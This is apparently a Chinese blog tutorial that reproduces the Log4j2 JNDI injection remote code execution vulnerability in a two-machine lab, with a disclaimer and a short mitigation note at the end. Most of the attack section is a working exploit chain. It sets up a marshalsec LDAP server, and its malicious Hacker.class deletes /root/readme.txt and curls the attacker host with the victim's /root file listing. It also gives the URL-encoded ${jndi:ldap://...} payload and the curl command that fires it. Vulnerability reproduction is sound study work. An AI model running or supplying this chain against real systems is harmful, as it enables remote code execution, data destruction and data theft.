关于 log4j2 远程代码执行漏洞的详细重现过程
1、漏洞重现说明
log4j-2远程代码执行漏洞是因为log4j的版本中存在jndi(Java Naming and Directory Interface)注入漏洞,jndi注入是利用的动态类加载机制完成攻击的,当程序将用户输入的数据进行日志记录时,即可触发此漏洞。注意是log4j-2.x的版本,本文演示使用2.14.1。
如果在应用中使用了如log.info
等一些输出用户录入的内容就可能遭到攻击者的攻击,这种将请求日志log
出来的场景并不少见,比如和一些第三方系统对接的时候,在联调或试运行阶段会将请求的报文信息完整输出到日志。
摘取一个gitee
上的代码样例
-
漏洞场景
举个例子,
jianshu-application
这个服务用来提供给用户修改个人简介的,如图 漏洞重现案例的几个角色
角色 | 应用名 | 说明 |
---|---|---|
被攻击者 | jianshu-application | 这个是被攻击的服务器(使用了log4j-core-2.14.1), 假设提供了个人简介的修改功能 |
攻击者 | marshalsec-0.0.3-SNAPSHOT | 开源纯java写的一个工具,将数据转换为代码执行 |
攻击者 | python-httpserver | 简单模拟一个httpserver用来给被攻击者远程加载恶意class |
大致流程如下
①、攻击者输入恶意信息后提交,${jndi:ldap://ldap.mixfate.com:9999}
,当然这个ldap
地址被攻击者服务器中的应用可以访问到;
②、被攻击者应用通过log.info
打印恶意的输入信息后,发现日志内容中包含关键词 ${,那么这个里面包含的内容会当做变量来进行替换执行,连接到marshalsec
ldap.mixfate.com:9999
;
③、此时marshalsec
将重定向到httpserver
load.mixfate.com:8888
;
④、重定向到class
下载地址下载并加载Hacker.class
;
⑤、执行Hacker.class
中的恶意代码;
可以看到依赖重要的开源工具marshalsec
,https://github.com/mbechler/marshalsec.git
免责声明(仅用于学习或测试自有系统)
Disclaimer
All information and code is provided solely for educational purposes and/or testing your own systems for these vulnerabilities.
2、漏洞重现步骤
现在我们模拟一下这个jianshu-application这个应用被攻击,并被删除掉服务器上的/root/readme.txt
文件;
机器名 | 说明 | ip |
---|---|---|
机器A(jianshu) | 被攻击者 | 192.168.80.136 |
机器B(hacker) | 攻击者 | 192.168.80.133 |
两台机器均安装上jdk-1.8.0_151
java version "1.8.0_151"
Java(TM) SE Runtime Environment (build 1.8.0_151-b12)
Java HotSpot(TM) 64-Bit Server VM (build 25.151-b12, mixed mode)
- 步骤1、机器A(jianshu)上运行被攻击端jianshu应用(简化代码仅作重现参考)
简单起见直接使用 spring-boot启动一个web应用,开放一个入口模拟修改个人简介,由于spring-boot默认使用 logback 作为应用日志框架,所以为了模拟攻击过程将依赖排除掉,使用log4j-2.14.1版本记录日志。
jianshu模拟应用配置如下(使用spring-boot-2.5.7,特别注意需要排除默认使用的日志,不然无法模拟)
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.5.7</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.mixfate</groupId>
<artifactId>jianshu</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>jianshu</name>
<description>jianshu project for Spring Boot</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
JianshuAplication.java
package com.mixfate;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping
@SpringBootApplication
public class JianshuApplication {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
SpringApplication.run(JianshuApplication.class, args);
}
@PutMapping("/settings")
public void settings(String intro) {
logger.info("{}", intro);
}
}
模拟的修改个人简介功能非常简单,一个put请求将intro参数提交即可,注意通过url传参数的话需要使用urlencode后传输,使用mvn clean package
打包好应用上传,并直接在机器A(jianshu)的服务器部署运行即可java -jar jianshu-0.0.1-SNAPSHOT.jar
,作为被攻击的机器就已经准备好了,可通过curl -X PUT http://192.168.80.136:8080/settings?intro=hacker-ha-ha-ha
访问测试。
此时在机器A(jianshu),ip192.168.80.136上的准备工作就完成了。
- 步骤2、机器B(hacker)上运行marshalsec/httpserver
①
下装并编译运行marshalsec工具,这是一个纯java写的将数据转换为可执行代码工具,github地址https://github.com/mbechler/marshalsec.git
,直接使用maven编译源码mvn clean package -DskipTests
,将编译后的应用包marshalsec-0.0.3-SNAPSHOT-all.jar
上传到机器B(hacker)上运行java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.80.133:8888/#Hacker" 9999
。
这一步的目的是在Hacker机器B上开启ldap服务,机器A中的应用参数intro如果定义为${jndi:ldap://192.168.80.133:9999/Hacker}
,则可访问到这个ldap服务,而参数"http://192.168.80.133:8888/#Hacker
表示将请求重定向到此地址远程加载类Hacker,当然实际上ldap和放Hacker.class的httpserver服务器不需要放同一台机器。
②
编写Hacker类如下
import java.io.File;
import java.util.Arrays;
import java.util.stream.Collectors;
class Hacker {
static {
System.err.println("Hacker hahaha");
try {
Runtime.getRuntime().exec("rm -rf /root/readme.txt");
File dir = new File("/root");
Runtime.getRuntime().exec("curl http://192.168.80.133:8888/" + Arrays.stream(dir.listFiles()).map(File::getName).collect(Collectors.joining(",")));
} catch (Exception e) {
e.printStackTrace();
}
}
}
这个Hacker恶意代码把机器A上的文件/root/readme.txt删除了,并且将/root目录下的文件文件名发送到攻击者的机器上。编译好Hacker.class放到一个新建的目录/www
中。
③
机器B新开一个命令窗口,进入到/www
目录中,使用命令python -m SimpleHTTPServer 8888
启动一个简单的httpserver,启动后使用浏览器访问http://192.168.80.133:8888/Hacker.class
正常会提示下载类文件,保证jianshu服务器能从这个地址下载类即可。
参数${jndi:ldap://192.168.80.133:9999/Hacker}
通过urlencode后为%24%7Bjndi%3Aldap%3A%2F%2F192.168.80.133%3A9999%2FHacker%7D
访问修改个人简介进行攻击curl -X PUT http://192.168.80.136:8080/settings?intro=%24%7Bjndi%3Aldap%3A%2F%2F192.168.80.133%3A9999%2FHacker%7D
此时python的httpserver日志可以看到以下输出
"GET /.bash_logout,.bash_profile,.bashrc,.cshrc,.tcshrc,anaconda-ks.cfg,.bash_history,jdk-8u151-linux-x64.tar.gz,jdk1.8.0_151,.oracle_jre_usage,jianshu-0.0.1-SNAPSHOT.jar HTTP/1.1" 404 -
Hacker机器上列出了jianshu机器/root目录下的文件,说明已经成功了。
3、漏洞修复
具体的漏洞修复建议可参考一些官方的推荐做法,一种临时的改动是设置JVM启动参数-Dlog4j2.formatMsgNoLookups=true
,此参数判断是否执行lookups。
打开MessagePatternConverter
的源码查看
在构造方法中初始化了参数noLookups
在常量中定义了默认值
上一篇: 历史更新记录
推荐阅读
-
关于 log4j2 远程代码执行漏洞的详细重现过程
-
关于 Apache log4j2 远程代码执行漏洞 (CVE-2021-44228) 的文章
-
修复 Apache Log4j2 远程代码执行漏洞的步骤
-
Log4j2 远程代码执行漏洞原理与漏洞复制(基于 vulhub,保姆级详细教程)
-
Java 类加载器的作用 - 简介:类加载器是 Java™ 中一个非常重要的概念。类加载器负责将 Java 类的字节码加载到 Java 虚拟机中。本文首先详细介绍了 Java 类加载器的基本概念,包括代理模型、加载类的具体过程和线程上下文类加载器等。然后介绍了如何开发自己的类加载器,最后介绍了类加载器在 Web 容器和 OSGi™ 中的应用。 类加载器是 Java 语言的一项创新,也是 Java 语言广受欢迎的重要原因之一。它允许将 Java 类动态加载到 Java 虚拟机中并执行。类加载器从 JDK 1.0 开始出现,最初是为了满足 Java Applets 的需求而开发的,Java Applets 需要从远程位置下载 Java 类文件并在浏览器中执行。现在,类加载器已广泛应用于网络容器和 OSGi。一般来说,Java 应用程序的开发人员不需要直接与类加载器交互;Java 虚拟机的默认行为足以应对大多数情况。但是,如果遇到需要与类加载器交互的情况,而您又不太了解类加载器的机制,就很容易花费大量时间调试异常,如 ClassNotFoundException 和 NoClassDefFoundError。本文将详细介绍 Java 的类加载器,帮助读者深入理解 Java 语言中的这一重要概念。下面先介绍一些基本概念。 类加载器的基本概念 顾名思义,类加载器用于将 Java 类加载到 Java 虚拟机中。一般来说,Java 虚拟机以如下方式使用 Java 类:Java 源程序(.java 文件)经 Java 编译器编译后转换为 Java 字节代码(.class 文件)。类加载器负责读取 Java 字节代码并将其转换为 java.lang 实例。每个实例都用来表示一个 Java 类。通过该实例的 newInstance 方法创建该类的对象。实际情况可能更加复杂,例如,Java 字节代码可能是由工具动态生成或通过网络下载的。 基本上,所有类加载器都是 java.lang.ClassLoader 类的实例。下面将详细介绍这个 Java 类。 java.lang.ClassLoader 类简介 java.lang.ClassLoader 类的基本职责是根据给定类的名称为其查找或生成相应的字节码,然后根据这些字节码定义一个 Java 类,即 java.lang.Class 类的实例。除此之外,ClassLoader 还负责加载 Java 应用程序所需的资源,如图像文件和配置文件。不过,本文只讨论它加载类的功能。为了履行加载类的职责,ClassLoader 提供了许多方法,其中比较重要的方法如表 1 所示。下文将详细介绍这些方法。 表 1.与加载类相关的 ClassLoader 方法
-
重现CVE-2017-8464:远程利用LNK文件(快捷方式)引发的执行代码漏洞
-
重现2017年CVE-8464远程代码执行漏洞(又称震网漏洞)的实操演示
-
重现WordPress 2020年CVE-2020-25213远程代码执行漏洞详细过程
-
ForgeRock AM中发现的CVE-2021-35464远程代码执行漏洞重现过程
-
如何重现向日葵远程代码执行漏洞的过程